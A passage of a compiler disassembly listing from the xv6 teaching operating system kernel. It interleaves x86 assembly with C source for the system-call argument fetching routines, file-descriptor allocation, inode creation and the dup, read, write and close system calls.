e5 mov %esp,%ebp 80104583: 53 push %ebx 80104584: 83 ec 04 sub $0x4,%esp 80104587: 8b 5d 08 mov 0x8(%ebp),%ebx char *s, *ep; struct proc *curproc = myproc(); 8010458a: e8 21 f1 ff ff call 801036b0 <myproc> if(addr >= curproc->sz) 8010458f: 39 18 cmp %ebx,(%eax) 80104591: 76 26 jbe 801045b9 <fetchstr+0x39> return -1; *pp = (char*)addr; 80104593: 8b 4d 0c mov 0xc(%ebp),%ecx 80104596: 89 da mov %ebx,%edx 80104598: 89 19 mov %ebx,(%ecx) ep = (char*)curproc->sz; 8010459a: 8b 00 mov (%eax),%eax for(s = *pp; s < ep; s++){ 8010459c: 39 c3 cmp %eax,%ebx 8010459e: 73 19 jae 801045b9 <fetchstr+0x39> if(*s == 0) 801045a0: 80 3b 00 cmpb $0x0,(%ebx) 801045a3: 75 0d jne 801045b2 <fetchstr+0x32> 801045a5: eb 21 jmp 801045c8 <fetchstr+0x48> 801045a7: 90 nop 801045a8: 80 3a 00 cmpb $0x0,(%edx) 801045ab: 90 nop 801045ac: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801045b0: 74 16 je 801045c8 <fetchstr+0x48> if(addr >= curproc->sz) return -1; *pp = (char*)addr; ep = (char*)curproc->sz; for(s = *pp; s < ep; s++){ 801045b2: 83 c2 01 add $0x1,%edx 801045b5: 39 d0 cmp %edx,%eax 801045b7: 77 ef ja 801045a8 <fetchstr+0x28> if(*s == 0) return s - *pp; } return -1; } 801045b9: 83 c4 04 add $0x4,%esp { char *s, *ep; struct proc *curproc = myproc(); if(addr >= curproc->sz) return -1; 801045bc: b8 ff ff ff ff mov $0xffffffff,%eax for(s = *pp; s < ep; s++){ if(*s == 0) return s - *pp; } return -1; } 801045c1: 5b pop %ebx 801045c2: 5d pop %ebp 801045c3: c3 ret 801045c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801045c8: 83 c4 04 add $0x4,%esp return -1; *pp = (char*)addr; ep = (char*)curproc->sz; for(s = *pp; s < ep; s++){ if(*s == 0) return s - *pp; 801045cb: 89 d0 mov %edx,%eax 801045cd: 29 d8 sub %ebx,%eax } return -1; } 801045cf: 5b pop %ebx 801045d0: 5d pop %ebp 801045d1: c3 ret 801045d2: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801045d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801045e0 <argint>: // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { 801045e0: 55 push %ebp 801045e1: 89 e5 mov %esp,%ebp 801045e3: 56 push %esi 801045e4: 8b 75 0c mov 0xc(%ebp),%esi 801045e7: 53 push %ebx 801045e8: 8b 5d 08 mov 0x8(%ebp),%ebx return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 801045eb: e8 c0 f0 ff ff call 801036b0 <myproc> 801045f0: 89 75 0c mov %esi,0xc(%ebp) 801045f3: 8b 40 18 mov 0x18(%eax),%eax 801045f6: 8b 40 44 mov 0x44(%eax),%eax 801045f9: 8d 44 98 04 lea 0x4(%eax,%ebx,4),%eax 801045fd: 89 45 08 mov %eax,0x8(%ebp) } 80104600: 5b pop %ebx 80104601: 5e pop %esi 80104602: 5d pop %ebp // Fetch the nth 32-bit system call argument. int argint(int n, int *ip) { return fetchint((myproc()->tf->esp) + 4 + 4*n, ip); 80104603: e9 38 ff ff ff jmp 80104540 <fetchint> 80104608: 90 nop 80104609: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104610 <argptr>: // Fetch the nth word-sized system call argument as a pointer // to a block of memory of size bytes. Check that the pointer // lies within the process address space. int argptr(int n, char **pp, int size) { 80104610: 55 push %ebp 80104611: 89 e5 mov %esp,%ebp 80104613: 56 push %esi 80104614: 53 push %ebx 80104615: 83 ec 20 sub $0x20,%esp 80104618: 8b 5d 10 mov 0x10(%ebp),%ebx int i; struct proc *curproc = myproc(); 8010461b: e8 90 f0 ff ff call 801036b0 <myproc> 80104620: 89 c6 mov %eax,%esi if(argint(n, &i) < 0) 80104622: 8d 45 f4 lea -0xc(%ebp),%eax 80104625: 89 44 24 04 mov %eax,0x4(%esp) 80104629: 8b 45 08 mov 0x8(%ebp),%eax 8010462c: 89 04 24 mov %eax,(%esp) 8010462f: e8 ac ff ff ff call 801045e0 <argint> 80104634: 85 c0 test %eax,%eax 80104636: 78 28 js 80104660 <argptr+0x50> return -1; if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz) 80104638: 85 db test %ebx,%ebx 8010463a: 78 24 js 80104660 <argptr+0x50> 8010463c: 8b 55 f4 mov -0xc(%ebp),%edx 8010463f: 8b 06 mov (%esi),%eax 80104641: 39 c2 cmp %eax,%edx 80104643: 73 1b jae 80104660 <argptr+0x50> 80104645: 01 d3 add %edx,%ebx 80104647: 39 d8 cmp %ebx,%eax 80104649: 72 15 jb 80104660 <argptr+0x50> return -1; *pp = (char*)i; 8010464b: 8b 45 0c mov 0xc(%ebp),%eax 8010464e: 89 10 mov %edx,(%eax) return 0; } 80104650: 83 c4 20 add $0x20,%esp if(argint(n, &i) < 0) return -1; if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz) return -1; *pp = (char*)i; return 0; 80104653: 31 c0 xor %eax,%eax } 80104655: 5b pop %ebx 80104656: 5e pop %esi 80104657: 5d pop %ebp 80104658: c3 ret 80104659: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80104660: 83 c4 20 add $0x20,%esp { int i; struct proc *curproc = myproc(); if(argint(n, &i) < 0) return -1; 80104663: b8 ff ff ff ff mov $0xffffffff,%eax if(size < 0 || (uint)i >= curproc->sz || (uint)i+size > curproc->sz) return -1; *pp = (char*)i; return 0; } 80104668: 5b pop %ebx 80104669: 5e pop %esi 8010466a: 5d pop %ebp 8010466b: c3 ret 8010466c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104670 <argstr>: // Check that the pointer is valid and the string is nul-terminated. // (There is no shared writable memory, so the string can't change // between this check and being used by the kernel.) int argstr(int n, char **pp) { 80104670: 55 push %ebp 80104671: 89 e5 mov %esp,%ebp 80104673: 83 ec 28 sub $0x28,%esp int addr; if(argint(n, &addr) < 0) 80104676: 8d 45 f4 lea -0xc(%ebp),%eax 80104679: 89 44 24 04 mov %eax,0x4(%esp) 8010467d: 8b 45 08 mov 0x8(%ebp),%eax 80104680: 89 04 24 mov %eax,(%esp) 80104683: e8 58 ff ff ff call 801045e0 <argint> 80104688: 85 c0 test %eax,%eax 8010468a: 78 14 js 801046a0 <argstr+0x30> return -1; return fetchstr(addr, pp); 8010468c: 8b 45 0c mov 0xc(%ebp),%eax 8010468f: 89 44 24 04 mov %eax,0x4(%esp) 80104693: 8b 45 f4 mov -0xc(%ebp),%eax 80104696: 89 04 24 mov %eax,(%esp) 80104699: e8 e2 fe ff ff call 80104580 <fetchstr> } 8010469e: c9 leave 8010469f: c3 ret int argstr(int n, char **pp) { int addr; if(argint(n, &addr) < 0) return -1; 801046a0: b8 ff ff ff ff mov $0xffffffff,%eax return fetchstr(addr, pp); } 801046a5: c9 leave 801046a6: c3 ret 801046a7: 89 f6 mov %esi,%esi 801046a9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801046b0 <syscall>: [SYS_gettop] sys_gettop, }; void syscall(void) { 801046b0: 55 push %ebp 801046b1: 89 e5 mov %esp,%ebp 801046b3: 56 push %esi 801046b4: 53 push %ebx 801046b5: 83 ec 10 sub $0x10,%esp int num; struct proc *curproc = myproc(); 801046b8: e8 f3 ef ff ff call 801036b0 <myproc> num = curproc->tf->eax; 801046bd: 8b 70 18 mov 0x18(%eax),%esi void syscall(void) { int num; struct proc *curproc = myproc(); 801046c0: 89 c3 mov %eax,%ebx num = curproc->tf->eax; 801046c2: 8b 46 1c mov 0x1c(%esi),%eax if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { 801046c5: 8d 50 ff lea -0x1(%eax),%edx 801046c8: 83 fa 17 cmp $0x17,%edx 801046cb: 77 1b ja 801046e8 <syscall+0x38> 801046cd: 8b 14 85 40 77 10 80 mov -0x7fef88c0(,%eax,4),%edx 801046d4: 85 d2 test %edx,%edx 801046d6: 74 10 je 801046e8 <syscall+0x38> curproc->tf->eax = syscalls[num](); 801046d8: ff d2 call *%edx 801046da: 89 46 1c mov %eax,0x1c(%esi) } else { cprintf("%d %s: unknown sys call %d\n", curproc->pid, curproc->name, num); curproc->tf->eax = -1; } } 801046dd: 83 c4 10 add $0x10,%esp 801046e0: 5b pop %ebx 801046e1: 5e pop %esi 801046e2: 5d pop %ebp 801046e3: c3 ret 801046e4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi num = curproc->tf->eax; if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { curproc->tf->eax = syscalls[num](); } else { cprintf("%d %s: unknown sys call %d\n", 801046e8: 89 44 24 0c mov %eax,0xc(%esp) curproc->pid, curproc->name, num); 801046ec: 8d 43 6c lea 0x6c(%ebx),%eax 801046ef: 89 44 24 08 mov %eax,0x8(%esp) num = curproc->tf->eax; if(num > 0 && num < NELEM(syscalls) && syscalls[num]) { curproc->tf->eax = syscalls[num](); } else { cprintf("%d %s: unknown sys call %d\n", 801046f3: 8b 43 10 mov 0x10(%ebx),%eax 801046f6: c7 04 24 11 77 10 80 movl $0x80107711,(%esp) 801046fd: 89 44 24 04 mov %eax,0x4(%esp) 80104701: e8 4a bf ff ff call 80100650 <cprintf> curproc->pid, curproc->name, num); curproc->tf->eax = -1; 80104706: 8b 43 18 mov 0x18(%ebx),%eax 80104709: c7 40 1c ff ff ff ff movl $0xffffffff,0x1c(%eax) } } 80104710: 83 c4 10 add $0x10,%esp 80104713: 5b pop %ebx 80104714: 5e pop %esi 80104715: 5d pop %ebp 80104716: c3 ret 80104717: 66 90 xchg %ax,%ax 80104719: 66 90 xchg %ax,%ax 8010471b: 66 90 xchg %ax,%ax 8010471d: 66 90 xchg %ax,%ax 8010471f: 90 nop 80104720 <fdalloc>: // Allocate a file descriptor for the given file. // Takes over file reference from caller on success. static int fdalloc(struct file *f) { 80104720: 55 push %ebp 80104721: 89 e5 mov %esp,%ebp 80104723: 53 push %ebx 80104724: 89 c3 mov %eax,%ebx 80104726: 83 ec 04 sub $0x4,%esp int fd; struct proc *curproc = myproc(); 80104729: e8 82 ef ff ff call 801036b0 <myproc> for(fd = 0; fd < NOFILE; fd++){ 8010472e: 31 d2 xor %edx,%edx if(curproc->ofile[fd] == 0){ 80104730: 8b 4c 90 28 mov 0x28(%eax,%edx,4),%ecx 80104734: 85 c9 test %ecx,%ecx 80104736: 74 18 je 80104750 <fdalloc+0x30> fdalloc(struct file *f) { int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ 80104738: 83 c2 01 add $0x1,%edx 8010473b: 83 fa 10 cmp $0x10,%edx 8010473e: 75 f0 jne 80104730 <fdalloc+0x10> curproc->ofile[fd] = f; return fd; } } return -1; } 80104740: 83 c4 04 add $0x4,%esp if(curproc->ofile[fd] == 0){ curproc->ofile[fd] = f; return fd; } } return -1; 80104743: b8 ff ff ff ff mov $0xffffffff,%eax } 80104748: 5b pop %ebx 80104749: 5d pop %ebp 8010474a: c3 ret 8010474b: 90 nop 8010474c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi int fd; struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ curproc->ofile[fd] = f; 80104750: 89 5c 90 28 mov %ebx,0x28(%eax,%edx,4) return fd; } } return -1; } 80104754: 83 c4 04 add $0x4,%esp struct proc *curproc = myproc(); for(fd = 0; fd < NOFILE; fd++){ if(curproc->ofile[fd] == 0){ curproc->ofile[fd] = f; return fd; 80104757: 89 d0 mov %edx,%eax } } return -1; } 80104759: 5b pop %ebx 8010475a: 5d pop %ebp 8010475b: c3 ret 8010475c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80104760 <create>: return -1; } static struct inode* create(char *path, short type, short major, short minor) { 80104760: 55 push %ebp 80104761: 89 e5 mov %esp,%ebp 80104763: 57 push %edi 80104764: 56 push %esi 80104765: 53 push %ebx 80104766: 83 ec 4c sub $0x4c,%esp 80104769: 89 4d c0 mov %ecx,-0x40(%ebp) 8010476c: 8b 4d 08 mov 0x8(%ebp),%ecx uint off; struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 8010476f: 8d 5d da lea -0x26(%ebp),%ebx 80104772: 89 5c 24 04 mov %ebx,0x4(%esp) 80104776: 89 04 24 mov %eax,(%esp) return -1; } static struct inode* create(char *path, short type, short major, short minor) { 80104779: 89 55 c4 mov %edx,-0x3c(%ebp) 8010477c: 89 4d bc mov %ecx,-0x44(%ebp) uint off; struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 8010477f: e8 ac d7 ff ff call 80101f30 <nameiparent> 80104784: 85 c0 test %eax,%eax 80104786: 89 c7 mov %eax,%edi 80104788: 0f 84 da 00 00 00 je 80104868 <create+0x108> return 0; ilock(dp); 8010478e: 89 04 24 mov %eax,(%esp) 80104791: e8 2a cf ff ff call 801016c0 <ilock> if((ip = dirlookup(dp, name, &off)) != 0){ 80104796: 8d 45 d4 lea -0x2c(%ebp),%eax 80104799: 89 44 24 08 mov %eax,0x8(%esp) 8010479d: 89 5c 24 04 mov %ebx,0x4(%esp) 801047a1: 89 3c 24 mov %edi,(%esp) 801047a4: e8 27 d4 ff ff call 80101bd0 <dirlookup> 801047a9: 85 c0 test %eax,%eax 801047ab: 89 c6 mov %eax,%esi 801047ad: 74 41 je 801047f0 <create+0x90> iunlockput(dp); 801047af: 89 3c 24 mov %edi,(%esp) 801047b2: e8 69 d1 ff ff call 80101920 <iunlockput> ilock(ip); 801047b7: 89 34 24 mov %esi,(%esp) 801047ba: e8 01 cf ff ff call 801016c0 <ilock> if(type == T_FILE && ip->type == T_FILE) 801047bf: 66 83 7d c4 02 cmpw $0x2,-0x3c(%ebp) 801047c4: 75 12 jne 801047d8 <create+0x78> 801047c6: 66 83 7e 50 02 cmpw $0x2,0x50(%esi) 801047cb: 89 f0 mov %esi,%eax 801047cd: 75 09 jne 801047d8 <create+0x78> panic("create: dirlink"); iunlockput(dp); return ip; } 801047cf: 83 c4 4c add $0x4c,%esp 801047d2: 5b pop %ebx 801047d3: 5e pop %esi 801047d4: 5f pop %edi 801047d5: 5d pop %ebp 801047d6: c3 ret 801047d7: 90 nop if((ip = dirlookup(dp, name, &off)) != 0){ iunlockput(dp); ilock(ip); if(type == T_FILE && ip->type == T_FILE) return ip; iunlockput(ip); 801047d8: 89 34 24 mov %esi,(%esp) 801047db: e8 40 d1 ff ff call 80101920 <iunlockput> panic("create: dirlink"); iunlockput(dp); return ip; } 801047e0: 83 c4 4c add $0x4c,%esp iunlockput(dp); ilock(ip); if(type == T_FILE && ip->type == T_FILE) return ip; iunlockput(ip); return 0; 801047e3: 31 c0 xor %eax,%eax panic("create: dirlink"); iunlockput(dp); return ip; } 801047e5: 5b pop %ebx 801047e6: 5e pop %esi 801047e7: 5f pop %edi 801047e8: 5d pop %ebp 801047e9: c3 ret 801047ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi return ip; iunlockput(ip); return 0; } if((ip = ialloc(dp->dev, type)) == 0) 801047f0: 0f bf 45 c4 movswl -0x3c(%ebp),%eax 801047f4: 89 44 24 04 mov %eax,0x4(%esp) 801047f8: 8b 07 mov (%edi),%eax 801047fa: 89 04 24 mov %eax,(%esp) 801047fd: e8 2e cd ff ff call 80101530 <ialloc> 80104802: 85 c0 test %eax,%eax 80104804: 89 c6 mov %eax,%esi 80104806: 0f 84 bf 00 00 00 je 801048cb <create+0x16b> panic("create: ialloc"); ilock(ip); 8010480c: 89 04 24 mov %eax,(%esp) 8010480f: e8 ac ce ff ff call 801016c0 <ilock> ip->major = major; 80104814: 0f b7 45 c0 movzwl -0x40(%ebp),%eax 80104818: 66 89 46 52 mov %ax,0x52(%esi) ip->minor = minor; 8010481c: 0f b7 45 bc movzwl -0x44(%ebp),%eax 80104820: 66 89 46 54 mov %ax,0x54(%esi) ip->nlink = 1; 80104824: b8 01 00 00 00 mov $0x1,%eax 80104829: 66 89 46 56 mov %ax,0x56(%esi) iupdate(ip); 8010482d: 89 34 24 mov %esi,(%esp) 80104830: e8 cb cd ff ff call 80101600 <iupdate> if(type == T_DIR){ // Create . and .. entries. 80104835: 66 83 7d c4 01 cmpw $0x1,-0x3c(%ebp) 8010483a: 74 34 je 80104870 <create+0x110> // No ip->nlink++ for ".": avoid cyclic ref count. if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) panic("create dots"); } if(dirlink(dp, name, ip->inum) < 0) 8010483c: 8b 46 04 mov 0x4(%esi),%eax 8010483f: 89 5c 24 04 mov %ebx,0x4(%esp) 80104843: 89 3c 24 mov %edi,(%esp) 80104846: 89 44 24 08 mov %eax,0x8(%esp) 8010484a: e8 e1 d5 ff ff call 80101e30 <dirlink> 8010484f: 85 c0 test %eax,%eax 80104851: 78 6c js 801048bf <create+0x15f> panic("create: dirlink"); iunlockput(dp); 80104853: 89 3c 24 mov %edi,(%esp) 80104856: e8 c5 d0 ff ff call 80101920 <iunlockput> return ip; } 8010485b: 83 c4 4c add $0x4c,%esp if(dirlink(dp, name, ip->inum) < 0) panic("create: dirlink"); iunlockput(dp); return ip; 8010485e: 89 f0 mov %esi,%eax } 80104860: 5b pop %ebx 80104861: 5e pop %esi 80104862: 5f pop %edi 80104863: 5d pop %ebp 80104864: c3 ret 80104865: 8d 76 00 lea 0x0(%esi),%esi uint off; struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) return 0; 80104868: 31 c0 xor %eax,%eax 8010486a: e9 60 ff ff ff jmp 801047cf <create+0x6f> 8010486f: 90 nop ip->minor = minor; ip->nlink = 1; iupdate(ip); if(type == T_DIR){ // Create . and .. entries. dp->nlink++; // for ".." 80104870: 66 83 47 56 01 addw $0x1,0x56(%edi) iupdate(dp); 80104875: 89 3c 24 mov %edi,(%esp) 80104878: e8 83 cd ff ff call 80101600 <iupdate> // No ip->nlink++ for ".": avoid cyclic ref count. if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 8010487d: 8b 46 04 mov 0x4(%esi),%eax 80104880: c7 44 24 04 c0 77 10 movl $0x801077c0,0x4(%esp) 80104887: 80 80104888: 89 34 24 mov %esi,(%esp) 8010488b: 89 44 24 08 mov %eax,0x8(%esp) 8010488f: e8 9c d5 ff ff call 80101e30 <dirlink> 80104894: 85 c0 test %eax,%eax 80104896: 78 1b js 801048b3 <create+0x153> 80104898: 8b 47 04 mov 0x4(%edi),%eax 8010489b: c7 44 24 04 bf 77 10 movl $0x801077bf,0x4(%esp) 801048a2: 80 801048a3: 89 34 24 mov %esi,(%esp) 801048a6: 89 44 24 08 mov %eax,0x8(%esp) 801048aa: e8 81 d5 ff ff call 80101e30 <dirlink> 801048af: 85 c0 test %eax,%eax 801048b1: 79 89 jns 8010483c <create+0xdc> panic("create dots"); 801048b3: c7 04 24 b3 77 10 80 movl $0x801077b3,(%esp) 801048ba: e8 a1 ba ff ff call 80100360 <panic> } if(dirlink(dp, name, ip->inum) < 0) panic("create: dirlink"); 801048bf: c7 04 24 c2 77 10 80 movl $0x801077c2,(%esp) 801048c6: e8 95 ba ff ff call 80100360 <panic> iunlockput(ip); return 0; } if((ip = ialloc(dp->dev, type)) == 0) panic("create: ialloc"); 801048cb: c7 04 24 a4 77 10 80 movl $0x801077a4,(%esp) 801048d2: e8 89 ba ff ff call 80100360 <panic> 801048d7: 89 f6 mov %esi,%esi 801048d9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801048e0 <argfd.constprop.0>: #include "fcntl.h" // Fetch the nth word-sized system call argument as a file descriptor // and return both the descriptor and the corresponding struct file. static int argfd(int n, int *pfd, struct file **pf) 801048e0: 55 push %ebp 801048e1: 89 e5 mov %esp,%ebp 801048e3: 56 push %esi 801048e4: 89 c6 mov %eax,%esi 801048e6: 53 push %ebx 801048e7: 89 d3 mov %edx,%ebx 801048e9: 83 ec 20 sub $0x20,%esp { int fd; struct file *f; if(argint(n, &fd) < 0) 801048ec: 8d 45 f4 lea -0xc(%ebp),%eax 801048ef: 89 44 24 04 mov %eax,0x4(%esp) 801048f3: c7 04 24 00 00 00 00 movl $0x0,(%esp) 801048fa: e8 e1 fc ff ff call 801045e0 <argint> 801048ff: 85 c0 test %eax,%eax 80104901: 78 2d js 80104930 <argfd.constprop.0+0x50> return -1; if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0) 80104903: 83 7d f4 0f cmpl $0xf,-0xc(%ebp) 80104907: 77 27 ja 80104930 <argfd.constprop.0+0x50> 80104909: e8 a2 ed ff ff call 801036b0 <myproc> 8010490e: 8b 55 f4 mov -0xc(%ebp),%edx 80104911: 8b 44 90 28 mov 0x28(%eax,%edx,4),%eax 80104915: 85 c0 test %eax,%eax 80104917: 74 17 je 80104930 <argfd.constprop.0+0x50> return -1; if(pfd) 80104919: 85 f6 test %esi,%esi 8010491b: 74 02 je 8010491f <argfd.constprop.0+0x3f> *pfd = fd; 8010491d: 89 16 mov %edx,(%esi) if(pf) 8010491f: 85 db test %ebx,%ebx 80104921: 74 1d je 80104940 <argfd.constprop.0+0x60> *pf = f; 80104923: 89 03 mov %eax,(%ebx) return 0; 80104925: 31 c0 xor %eax,%eax } 80104927: 83 c4 20 add $0x20,%esp 8010492a: 5b pop %ebx 8010492b: 5e pop %esi 8010492c: 5d pop %ebp 8010492d: c3 ret 8010492e: 66 90 xchg %ax,%ax 80104930: 83 c4 20 add $0x20,%esp { int fd; struct file *f; if(argint(n, &fd) < 0) return -1; 80104933: b8 ff ff ff ff mov $0xffffffff,%eax if(pfd) *pfd = fd; if(pf) *pf = f; return 0; } 80104938: 5b pop %ebx 80104939: 5e pop %esi 8010493a: 5d pop %ebp 8010493b: c3 ret 8010493c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi return -1; if(pfd) *pfd = fd; if(pf) *pf = f; return 0; 80104940: 31 c0 xor %eax,%eax 80104942: eb e3 jmp 80104927 <argfd.constprop.0+0x47> 80104944: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010494a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80104950 <sys_dup>: return -1; } int sys_dup(void) { 80104950: 55 push %ebp struct file *f; int fd; if(argfd(0, 0, &f) < 0) 80104951: 31 c0 xor %eax,%eax return -1; } int sys_dup(void) { 80104953: 89 e5 mov %esp,%ebp 80104955: 53 push %ebx 80104956: 83 ec 24 sub $0x24,%esp struct file *f; int fd; if(argfd(0, 0, &f) < 0) 80104959: 8d 55 f4 lea -0xc(%ebp),%edx 8010495c: e8 7f ff ff ff call 801048e0 <argfd.constprop.0> 80104961: 85 c0 test %eax,%eax 80104963: 78 23 js 80104988 <sys_dup+0x38> return -1; if((fd=fdalloc(f)) < 0) 80104965: 8b 45 f4 mov -0xc(%ebp),%eax 80104968: e8 b3 fd ff ff call 80104720 <fdalloc> 8010496d: 85 c0 test %eax,%eax 8010496f: 89 c3 mov %eax,%ebx 80104971: 78 15 js 80104988 <sys_dup+0x38> return -1; filedup(f); 80104973: 8b 45 f4 mov -0xc(%ebp),%eax 80104976: 89 04 24 mov %eax,(%esp) 80104979: e8 62 c4 ff ff call 80100de0 <filedup> return fd; 8010497e: 89 d8 mov %ebx,%eax } 80104980: 83 c4 24 add $0x24,%esp 80104983: 5b pop %ebx 80104984: 5d pop %ebp 80104985: c3 ret 80104986: 66 90 xchg %ax,%ax { struct file *f; int fd; if(argfd(0, 0, &f) < 0) return -1; 80104988: b8 ff ff ff ff mov $0xffffffff,%eax 8010498d: eb f1 jmp 80104980 <sys_dup+0x30> 8010498f: 90 nop 80104990 <sys_read>: return fd; } int sys_read(void) { 80104990: 55 push %ebp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104991: 31 c0 xor %eax,%eax return fd; } int sys_read(void) { 80104993: 89 e5 mov %esp,%ebp 80104995: 83 ec 28 sub $0x28,%esp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104998: 8d 55 ec lea -0x14(%ebp),%edx 8010499b: e8 40 ff ff ff call 801048e0 <argfd.constprop.0> 801049a0: 85 c0 test %eax,%eax 801049a2: 78 54 js 801049f8 <sys_read+0x68> 801049a4: 8d 45 f0 lea -0x10(%ebp),%eax 801049a7: 89 44 24 04 mov %eax,0x4(%esp) 801049ab: c7 04 24 02 00 00 00 movl $0x2,(%esp) 801049b2: e8 29 fc ff ff call 801045e0 <argint> 801049b7: 85 c0 test %eax,%eax 801049b9: 78 3d js 801049f8 <sys_read+0x68> 801049bb: 8b 45 f0 mov -0x10(%ebp),%eax 801049be: c7 04 24 01 00 00 00 movl $0x1,(%esp) 801049c5: 89 44 24 08 mov %eax,0x8(%esp) 801049c9: 8d 45 f4 lea -0xc(%ebp),%eax 801049cc: 89 44 24 04 mov %eax,0x4(%esp) 801049d0: e8 3b fc ff ff call 80104610 <argptr> 801049d5: 85 c0 test %eax,%eax 801049d7: 78 1f js 801049f8 <sys_read+0x68> return -1; return fileread(f, p, n); 801049d9: 8b 45 f0 mov -0x10(%ebp),%eax 801049dc: 89 44 24 08 mov %eax,0x8(%esp) 801049e0: 8b 45 f4 mov -0xc(%ebp),%eax 801049e3: 89 44 24 04 mov %eax,0x4(%esp) 801049e7: 8b 45 ec mov -0x14(%ebp),%eax 801049ea: 89 04 24 mov %eax,(%esp) 801049ed: e8 4e c5 ff ff call 80100f40 <fileread> } 801049f2: c9 leave 801049f3: c3 ret 801049f4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) return -1; 801049f8: b8 ff ff ff ff mov $0xffffffff,%eax return fileread(f, p, n); } 801049fd: c9 leave 801049fe: c3 ret 801049ff: 90 nop 80104a00 <sys_write>: int sys_write(void) { 80104a00: 55 push %ebp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104a01: 31 c0 xor %eax,%eax return fileread(f, p, n); } int sys_write(void) { 80104a03: 89 e5 mov %esp,%ebp 80104a05: 83 ec 28 sub $0x28,%esp struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) 80104a08: 8d 55 ec lea -0x14(%ebp),%edx 80104a0b: e8 d0 fe ff ff call 801048e0 <argfd.constprop.0> 80104a10: 85 c0 test %eax,%eax 80104a12: 78 54 js 80104a68 <sys_write+0x68> 80104a14: 8d 45 f0 lea -0x10(%ebp),%eax 80104a17: 89 44 24 04 mov %eax,0x4(%esp) 80104a1b: c7 04 24 02 00 00 00 movl $0x2,(%esp) 80104a22: e8 b9 fb ff ff call 801045e0 <argint> 80104a27: 85 c0 test %eax,%eax 80104a29: 78 3d js 80104a68 <sys_write+0x68> 80104a2b: 8b 45 f0 mov -0x10(%ebp),%eax 80104a2e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 80104a35: 89 44 24 08 mov %eax,0x8(%esp) 80104a39: 8d 45 f4 lea -0xc(%ebp),%eax 80104a3c: 89 44 24 04 mov %eax,0x4(%esp) 80104a40: e8 cb fb ff ff call 80104610 <argptr> 80104a45: 85 c0 test %eax,%eax 80104a47: 78 1f js 80104a68 <sys_write+0x68> return -1; return filewrite(f, p, n); 80104a49: 8b 45 f0 mov -0x10(%ebp),%eax 80104a4c: 89 44 24 08 mov %eax,0x8(%esp) 80104a50: 8b 45 f4 mov -0xc(%ebp),%eax 80104a53: 89 44 24 04 mov %eax,0x4(%esp) 80104a57: 8b 45 ec mov -0x14(%ebp),%eax 80104a5a: 89 04 24 mov %eax,(%esp) 80104a5d: e8 7e c5 ff ff call 80100fe0 <filewrite> } 80104a62: c9 leave 80104a63: c3 ret 80104a64: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi struct file *f; int n; char *p; if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argptr(1, &p, n) < 0) return -1; 80104a68: b8 ff ff ff ff mov $0xffffffff,%eax return filewrite(f, p, n); } 80104a6d: c9 leave 80104a6e: c3 ret 80104a6f: 90 nop 80104a70 <sys_close>: int sys_close(void) { 80104a70: 55 push %ebp 80104a71: 89 e5 mov %esp,%ebp 80104a73: 83 ec 28 sub $0x28,%esp int fd; struct file *f; if(argfd(0, &fd, &f) < 0) 80104a76: 8d 55 f4 lea -0xc(%ebp),%edx 80104a79: 8d 45 f0 lea -0x10(%ebp),%eax 80104a7c: e8 5f fe ff ff call 801048e0 <argfd.constprop.0> 80104a81: 85 c0 test %eax,%eax 80104a83: 78 23 js 80104aa8 <sys_close+0x38> return -1; myproc()->ofile[fd] = 0; 80104a85: e8 26 ec ff ff call 801036b0 <myproc> 80104a8a: 8b 55 f0 mov -0x10(%ebp),%edx 80104a8d: c7 44 90 28 00 00 00 movl $0x0,0x28(%eax,%edx,4) 80104a94: 00 fileclose(f); 80104a95: 8b 45 f4 mov -0xc(%ebp),%eax 80104a98: 89 04 24 mov %eax,(%esp) 80104a9b: e8 90 c3 ff ff call 80100e30 <fileclose> return 0; 80104aa0: 31 c0 xor %eax,%eax } 80104aa2: c9 leave 80104aa3: c3 ret 80104aa4: 